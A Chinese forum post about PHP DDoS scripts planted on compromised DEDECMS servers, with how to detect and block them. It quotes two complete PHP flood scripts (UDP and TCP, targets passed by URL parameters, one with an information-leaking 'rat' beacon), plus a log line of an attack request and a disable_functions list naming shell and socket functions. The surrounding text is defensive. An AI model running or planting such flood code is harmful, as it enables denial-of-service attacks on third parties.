找回密码
 加入怎通
查看: 1637|回复: 5

[原创] 服务器php对外发包引起崩溃的解决办法

[复制链接]
商摆小路 发表于 2012-06-12 13:06:58 | 显示全部楼层 |阅读模式
  服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好. ?& z# r% ~& [) b& E( G3 f
  一。php对外发包分析' T5 ]! |& }. x$ L( g8 ?
  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
2 U; S" t# e( I. V- f, E8 l3 n  以下是代码片段:% i' z2 W& P! m$ V
  $packets = 0;
' `4 Q& @2 v3 @! A; X. Z! Z5 C  $ip = $_GET[\'ip\'];
3 R) x9 G5 m- U  $rand = $_GET[\'port\'];' P1 U% K0 |/ ]0 [
  set_time_limit(0);6 J- @7 b+ B9 W) B6 v# ?4 O$ D  W2 J
  ignore_user_abort(FALSE);# g9 G& {8 v' S1 \8 P
  $exec_time = $_GET[\'time\'];sbxl-20120612
; m  H: T; J- @; g' g* O  $time = time();3 m$ o' l7 U7 X) q$ ~; v! W
  print \'Flooded: $ip on port $rand
/ B% ~, q6 E0 W* y  \';8 o! q, O2 ]! S* ]5 b; s) ~* h& ?
  $max_time = $time+$exec_time;% I7 W$ l. i' P! Z6 d; |: p
  for($i=0;$i<65535;$i++){* m' o2 {8 j) S7 f& c& d$ L; X
  $out .= \'X\';' S' m" z: I. X6 m4 ]
  }
; }+ m3 q" u8 K1 s# [. Y$ X7 @  while(1){
5 g) }0 j8 D: u/ K  x  $packets++;$ A# _2 _: v. p" K$ y* L7 ]3 i
  if(time() > $max_time){6 ?7 J" g! W9 B. I" u# K  I
  break;
+ v& c1 c/ o8 k0 Q4 t  }+ r" i+ h& t+ g7 Q* ]
  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
( e: `1 A3 e3 C0 E+ n. x  if($fp){
3 ?; a" l! m$ p" `. e+ i: c  fwrite($fp, $out);' u' ]8 z0 k5 b& l0 w; i7 \
  fclose($fp);  \8 E9 @$ o3 `! X# z
  }
: A. s5 G4 p$ Z! G( ~  }( \% o/ J* B6 N
  echo \'Packet complete at \'.time(\'h:i:s\').\' with' i& K* X: x2 a, _8 g  F. a
  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.& s& Y! ]& V$ T5 {2 t2 }6 u
  round($packets/$exec_time, 2) . \' packets/s ;% \  [( C5 o" _$ m1 P4 q9 g
  ?>
5 M2 C$ }' o. t6 j3 e4 r  二。表现特征
" N- q. r' v* a' F) F  一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.7 w; w, `: B- q8 h) Q
  近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.( x! D0 [) j, O# C; F
  如何快速找到这些站?5 b0 a% T2 O6 l4 ^. b/ }
  你可以打开日志" f5 r/ ^3 v% w  v
  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
- X% j- J- z7 i  里面有类似这样的记录:! [6 \, a0 n$ r
  2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_14 i" @7 }$ u% z" B4 d8 @
  最后三项783 Disabled 30_FreeHost_16 Y7 m" z& G$ S, N+ V% J- r
  783就是这个站在IIS中的ID
+ r4 |  v" i5 q" r  ]* W, O  30_FreeHost_1就是所在池
# N1 x# F% L$ K+ v  三?解决办法* U* P& E1 N$ p" I, e/ ^3 M) l
  1.按上述找到这个网站后停止它.或停止池,并重启IIS.
4 m% J" p4 O4 f$ Z  2.在IP策略,或防火墙中,禁止所有udp向外发送
7 k2 a4 S5 _7 l  在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.
9 P# T( u6 ~% w) S- ~3 r6 ?. `. W  为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)" r5 r% M# V. J9 `+ C# ^0 p
  在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)- {3 n& _6 p$ S2 L* A9 i5 b
  3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)
; }+ s% m3 ~: A. r  P  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS8 h( X6 `7 z3 \7 \( g( B4 Z
  ignore_user_abort = On
) W5 t$ f" X: h% s9 r  g. _- D  (注意前面的;号要删除)4 d, P9 J; S7 _7 o3 C8 L# C
  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
/ R! R  ~* H5 ~7 I8 Z  在后面加上7 @1 m7 p) O. L* l
  fsockopen,set_time_limit1 b1 c, v; F  V& d; L# r
  但这样会造成很多php程序都不正常.
& q% H) t# Q+ f, X& q% M: @  另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?
! ~% ~' K- {8 T  近期已有新的基于TCP攻击的PHPDDOS代码如下:9 j6 |( M8 r2 ?6 n# ~# J2 |
  以下是代码片段:
7 a: L" [+ z3 f( M& w  set_time_limit(999999);
+ b* z# X7 B4 G, n  `; ?" h  $host = $_GET['host'];
8 K& }, s! X0 i' Y& z  $port = $_GET['port'];) {) k# F# c1 r
  $exec_time = $_GET['time'];( f& |! t! i4 o* a4 h! t( t2 Q
  $packets = 64;
! A+ R5 w; d! x  _# D  ignore_user_abort(True);4 c6 w9 Z/ M  m0 K/ s
  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
- Q7 R" O4 f* S  if (StrLen($_GET['rat'])<>0){& V% Y2 l  P! n
  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
  W6 }+ I& @; {  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];7 @, y! @- R$ ^3 O" E
  exit;
6 Z9 n$ X2 J: U  }
+ c0 d, `% |3 \  U. i- s/ r  exit;
1 \6 N- [6 H1 Y( H4 Z" `  }8 w4 w8 s5 f5 c* \3 z4 g) Q1 _
  $max_time = time()+$exec_time;
* R2 l* e5 |4 _% {2 n/ C$ c8 e3 R4 f  while(1){% _1 e2 N5 e4 X6 I
  $packets++;! K& j. C+ m$ z+ |/ c9 v
  if(time() > $max_time or $exec_time != 69){* D4 n0 ?7 F+ J3 v- e" R
  break;2 ]9 q# f- q( A6 L6 m+ L. k- n7 Z7 G
  }$ S" J- U, y' N9 |& A$ I8 d
  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);" l* W* z, ^& {- E1 t7 ?
  }6 c  F  B$ K0 f0 N7 p$ h
  ?>
2 q4 r$ j# S# C3 \  同样,可以采有以下解决办法:
4 m3 t0 }5 B; I/ b  ]9 {  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
1 O! y/ u/ f1 |3 U4 g6 L; w" H7 U  ignore_user_abort = On1 U1 r7 {. h9 F$ ~
  (注意前面的;号要删除)
* e* u# l+ }( k/ M; \) W  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
' d- f6 x6 _5 Z; f  在后面加上6 n) C- \# \3 o+ f6 ^
  fsockopen,set_time_limit
& F% F' M9 i3 P. _0 [& t. L  但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法2 v2 A1 K5 I' b" K" Q
  2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?1 G. d1 M0 A% \& _/ F7 ~
  3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?
0 j% l; q$ ~) K8 q. }5 ?+ ?, `$ O        文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。2 a% \- w9 A$ R+ G! x3 X0 \# x2 ?

暂时无法加载帖子列表

回复

使用道具 举报

TONY 发表于 2012-06-12 13:39:53 | 显示全部楼层
很好 感谢分享啊
回复

使用道具 举报

幸福的蚂蚁 发表于 2025-11-10 20:26:34 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

DAIV 发表于 2026-02-17 01:26:21 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复

使用道具 举报

286888037 发表于 2026-03-31 17:08:47 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

SAK 发表于 2026-07-13 01:37:23 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-7-27 18:36 , Processed in 0.047698 second(s), 30 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表